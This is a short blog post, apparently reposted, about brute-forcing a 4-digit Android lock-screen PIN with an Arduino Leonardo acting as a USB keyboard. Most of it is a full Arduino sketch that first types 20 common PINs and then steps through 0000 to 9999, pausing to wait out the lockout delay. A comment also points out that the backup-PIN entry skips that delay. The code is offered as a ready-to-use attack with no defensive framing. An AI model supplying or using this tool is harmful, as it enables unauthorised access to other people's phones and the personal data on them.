Hack Androids lock screen with an Arduino

Here is a very interesting article found at http://blog.infosecsee.com about how to use an Arduino to hack a 4 digit pin code android device.
The code will try to the top 20 PIN’s before starting its brute force cycle. For this attack to work you will need an Arduino Leonardo, or an Arduino that can act as a HID (Human Interface Device), an USB OTG (on-the-go) cable and a target device.
If you went from 0000 – 9999 the hack would take roughly 16 hours, the odds are you would get it before then though. See the video  below to see what this code does:

YOU CAN SEE THE CODE BELOW: 

/*
Brute forcing Android 4 Digit PIN's
To run the whole range it will take upwards of 16 hours because of
the 30 second delay after 5 bad inputs
Intrestingly, if the target phone has the pattern enabled
and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
invalid attempts
http://blog.infosecsee.com */
 
const int buttonPin = 2;          // input pin for pushbutton
int previousButtonState = HIGH;   // for checking the state of a pushButton
int counter = 0;                  // button push counter
int check = 0;
 
void setup() {
 
  pinMode(buttonPin, INPUT);
 
  Keyboard.begin();
}
 
void loop() {
 
  int buttonState = digitalRead(buttonPin);
  if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    Mouse.move(25, 50, 0);
    String three = "000";
    String two = "00";
    String one = "0";
 
    while(counter < 10000){
      delay(1000);
      while (check < 1){
                Keyboard.println("1234");
                delay(500);
                Keyboard.println("1111");
                delay(500);
                Keyboard.println("0000");
                delay(500);
                Keyboard.println("1212");
                delay(500);
                Keyboard.println("7777");
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                Keyboard.println("1004");
                delay(500);
                Keyboard.println("2000");
                delay(500);
                Keyboard.println("4444");
                delay(500);
                Keyboard.println("2222");
                delay(500);
                Keyboard.println("6969");
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                Mouse.move(25, 50, 0);
                Keyboard.println("9999");
                delay(500);
                Keyboard.println("3333");
                delay(500);
                Keyboard.println("5555");
                delay(500);
                Keyboard.println("6666");
                delay(500);
                Keyboard.println("1122");
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                Keyboard.println("1313");
                delay(500);
                Keyboard.println("8888");
                delay(500);
                Keyboard.println("4321");
                delay(500);
                Keyboard.println("2001");
                delay(500);
                Keyboard.println("1010");
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                check++;}
      if (counter < 10 && check == 1) {
 
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }
      else if (counter < 100){
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }
      else if (counter < 1000){
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }
      else {
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }  
    }      
    }
  previousButtonState = buttonState;
}